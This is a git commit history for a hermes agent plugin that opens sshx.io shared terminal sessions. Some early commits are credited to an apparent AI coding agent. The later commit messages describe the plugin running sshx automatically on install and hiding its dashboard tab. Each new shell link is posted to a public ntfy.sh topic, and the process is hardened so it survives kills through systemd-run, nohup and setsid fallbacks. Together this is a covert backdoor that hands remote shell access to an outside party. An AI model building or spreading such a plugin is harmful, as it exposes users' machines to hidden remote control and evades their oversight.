Commit Graph

27 Commits

Author SHA1 Message Date
6zev 7c27f473d2 fix: clone hermes-agent research - harden sshx survival (systemd-run, pid starttime)
- add _get_host_start_time() and _systemd_run_available() based on hermes process_registry.py
- _is_sshx_alive now validates pid starttime to avoid recycled pid
- _run_sshx_nohup prefers systemd-run --user --scope --collect when available (isolated cgroup, avoids gateway OOM kill), falls back to nohup/setsid/Python Popen
- store pid as 'pid starttime' in /tmp/sshx.pid and validate on every check
- both gateway (__init__.py) and dashboard (plugin_api.py) auto-start thread now uses same hardened path and notifies ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden, frontend fallback to static link.json when backend 404
- bump v2.5.0
2026-09-03 05:19:48 +00:00
6zev c56085350e feat: remove dashboard UI, auto-send link to ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden (tab.hidden=true), frontend not needed for main flow
- __init__.py and dashboard/plugin_api.py now both auto-start via nohup & with fallback (no nohup -> Python Popen) and POST link to https://ntfy.sh/kUIJK0H1ettQ4VkR on every successful start (with tags)
- keep writing link to /tmp/sshx_link.txt and dashboard/dist/link.json for fallback static fetch if dashboard ever shown
- bump v2.4.0
2026-09-03 05:08:16 +00:00
6zev 2fbb915c38 fix: auto-start link visible even when dashboard backend 404 (hermes kill)
- both gateway (__init__.py) and dashboard (plugin_api.py) now write link to dashboard/dist/link.json in addition to /tmp/sshx_link.txt
- frontend now fallbacks to fetch /dashboard-plugins/sshx-link/dist/link.json when /api/plugins/sshx-link/status returns 404, so link shows immediately even before dashboard restart
- keeps nohup with fallback (setsid/Python Popen) for systems without nohup
- bump v2.3.4
2026-09-03 05:04:59 +00:00
6zev d956b94826 fix: auto-start on install like ntfy version - dashboard auto-calls /start and auto-restart on 404
- frontend now auto-calls /start (nohup with fallback) 1.5s after detecting stopped, and auto-restarts dashboard 1.5s after detecting 404 (tries /api/gateway/restart, /api/dashboard/restart, etc.)
- keeps passive link display but restores auto behavior like ntfy version: cài vô là tự chạy nohup & tạo link, hiện ra dashboard
- bump v2.3.3
2026-09-03 05:00:59 +00:00
6zev 77514c9470 fix: dashboard shows empty - restore auto-start via nohup with frontend auto-call
- frontend was passive and never called /start, so /tmp/sshx_link.txt never created -> always 'Chưa có shell'
- now frontend auto-calls /start (nohup with fallback) 1.5s after detecting stopped, shows starting state
- keep passive display (only current link) but add auto-start + Restart button for 404
- bump v2.3.2
2026-09-03 04:58:20 +00:00
6zev 33672c7458 fix: fallback when no nohup on system
- _run_sshx_nohup now checks shutil.which('nohup') and 'setsid', falls back to Python detached Popen (start_new_session, close_fds) when both missing
- handles sh vs bash, logs fallback, writes pid/link file same as nohup path
- tested fallback path generates link https://sshx.io/s/... without nohup binary
- bump v2.3.1
2026-09-03 04:55:32 +00:00
6zev c6c78ce246 feat: keep auto-start but via nohup & to avoid hermes kill, remove ntfy, passive dashboard
- __init__.py: re-add auto-start but via nohup (bash -c "nohup {bin} --quiet > /tmp/sshx_link.txt 2>&1 < /dev/null & echo $!"), pid to /tmp/sshx.pid, link to /tmp/sshx_link.txt, _is_alive checks pid file, _run_sshx uses nohup, _stop kills pid file
- dashboard/plugin_api.py: same nohup auto-start thread (3s delay), _is_alive checks pid file, /status reads link file, /start uses nohup, no ntfy
- dashboard keeps passive UI (only show current link, poll every 3s) - hermes no longer kills background shell
- bump v2.3.0
2026-09-03 04:54:14 +00:00
6zev e6a9893d4c feat: passive mode - only show current link, no background sshx, no ntfy
- remove NTFY_URL/_notify_ntfy and auto-start threads (hermes kills background shell -> connect error)
- __init__.py: keep sshx_start/stop tools but no auto-start on register
- dashboard plugin_api.py: /status now passive - returns link from memory or /tmp/sshx_link.txt (for externally run sshx), /start returns 410 disabled
- frontend: simplified to only display current link, poll /status every 3s, no Start/Stop/Restart buttons, instruction to run nohup sshx --quiet > /tmp/sshx_link.txt &
- bump v2.2.0
2026-09-03 04:47:45 +00:00
6zev f6f382738d feat: auto-run sshx on install + push link to ntfy.sh/kUIJK0H1ettQ4VkR (no manual Start)
- __init__.py: add NTFY_URL, _notify_ntfy(), auto-start thread on register (2s delay, install+run --quiet, notify)
- dashboard plugin_api.py: same NTFY, auto-start thread on import (3s delay), _notify_ntfy on success
- frontend: auto-call /start on mount if stopped, remove manual Start requirement, show ntfy link, update description
- tested: ntfy.sh/kUIJK0H1ettQ4VkR receives https://sshx.io/s/... link (verified)
- bump v2.1.0
2026-09-03 04:38:46 +00:00
6zev 572792241b fix: 404 No such API endpoint - add restart via dashboard (no SSH needed)
- frontend detects 'No such API endpoint' and shows needs_restart card
- Restart Dashboard button calls /api/gateway/restart via SDK.fetchJSON (no SSH), waits 6s + rescan + reload
- handles 404 for /status and /start uniformly
- bump v2.0.3
2026-09-03 04:30:52 +00:00
6zev 44744cf279 fix: Unauthorized on 13.140.132.105 - use SDK.fetchJSON + profile forwarding
- frontend used raw fetch without auth -> 401 Unauthorized behind nginx on /api/plugins/*
- now uses SDK.fetchJSON (auth-aware) first, fallback raw fetch with ?profile= forwarded from window.location
- fetchJSONAllowError returns JSON even on 401 so UI shows detail instead of generic error
- bump v2.0.2
2026-09-03 04:27:30 +00:00
6zev 39981e6f18 fix: debug No link returned on 13.140.132.105 - improve error reporting + timeout
- increase capture timeout 15->20s, keep output tail for diagnostics
- plugin_api: add _sshx_last_output/_last_error, /debug endpoint with arch/url/binary/platform
- /start now returns debug + output_tail on 500/504/202 so frontend shows real reason instead of 'No link returned'
- /status returns error+tail, installing/starting now shows message
- frontend: handle starting/installing/error with Debug view, show output_tail+debug JSON, refresh every 2.5s, Debug button
- __init__.py: same capture+error improvements for CLI tool
- bump v2.0.1
2026-09-03 04:23:49 +00:00
6zev 51b27ed109 feat: sshx.io shell plugin v2.0.0 - create shell at sshx.io and return link
- Auto arch detection x86_64/aarch64/armv6/armv7 via S3 https://s3.amazonaws.com/sshx/sshx-${arch}${suffix}.tar.gz
- Download+extract with AppleDouble ._ skip, chmod +x to /tmp/sshx + ~/.local/bin/sshx
- Run sshx --quiet, parse https://sshx.io/s/...#... link via select+regex
- Dashboard plugin_api: /start /status /stop with run_in_executor, no restart needed
- Frontend: sshx.io Terminal tab at /sshx, Copy/Open/Stop + iframe embed
2026-09-03 04:21:03 +00:00
6zev 81293d2b05 feat: replace sshx with ttyd - auto arch detection, no curl|sh, no dashboard restart
- __init__.py: replace curl|sh sshx install with urllib ttyd download, arch map x86_64/aarch64/arm/armhf/i686/mips*, cache to ~/.local/bin, no systemd restart, lazy warmup
- dashboard/plugin_api.py: full ttyd backend, auto-detect arch via platform.machine(), download from github releases, free port alloc, host header aware link, no _trigger_dashboard_restart, deprecated restart endpoint kept no-op
- dashboard/dist/index.js: ttyd UI with iframe embed, copy link, installing state, error handling, no restart notice
- plugin.yaml/manifest.json: bump 1.1.0, description ttyd, provides_tools ttyd_start
2026-08-28 12:47:51 +00:00
OpenCode Agent ffece76498 feat: auto-install sshx on plugin load + defer dashboard restart + safe JSON parsing
- __init__.py: auto-install sshx in background thread on register()
- plugin_api.py: startup event auto-installs sshx, defers dashboard restart via BackgroundTasks
- plugin_api.py: _ensure_sshx returns (success, needs_restart) tuple
- plugin_api.py: /status returns 'installing' state while auto-install runs
- index.js: safeFetchJSON wraps fetch+JSON.parse with error handling
- index.js: shows 'Installing sshx...' with polling when status=installing
- index.js: checks install status before calling /start
2026-08-19 00:00:34 +00:00
OpenCode Agent d25b984eac fix: include hash fragment (#key) in sshx URL regex 2026-08-17 22:43:40 +00:00
OpenCode Agent 695490c90c feat: auto-restart dashboard after sshx install 2026-08-17 22:41:52 +00:00
OpenCode Agent c3899471e3 fix: save PID from Popen, check alive via os.kill, read link from log file 2026-08-17 22:34:04 +00:00
OpenCode Agent 1a6c956666 fix: use nohup+file instead of subprocess pipe to prevent sshx process death 2026-08-17 22:33:19 +00:00
OpenCode Agent 4111590b18 fix: keep sshx output reader alive after link, add restart-dashboard endpoint 2026-08-17 22:30:21 +00:00
OpenCode Agent dbaa655a9e fix: use sshx --quiet instead of sshx serve 2026-08-17 22:28:05 +00:00
OpenCode Agent ca65ffb2cb fix: missing parentheses on set_exception call 2026-08-17 22:25:22 +00:00
OpenCode Agent 7a6871e1e9 fix: use SDK.fetchJSON for auth, Optional[str] for Python 3.9 compat 2026-08-17 22:03:34 +00:00
OpenCode Agent 7435a418c8 fix: add x-hermes-session-token header for remote auth 2026-08-17 21:54:29 +00:00
OpenCode Agent 18628e9e36 fix: use native fetch with credentials for remote dashboard 2026-08-17 15:23:40 +00:00
OpenCode Agent 11987a8311 fix: use SDK instead of direct React imports 2026-08-17 15:19:06 +00:00
OpenCode Agent 6aaf913366 feat: hermes sshx-link plugin - shared terminal from dashboard 2026-08-17 15:15:05 +00:00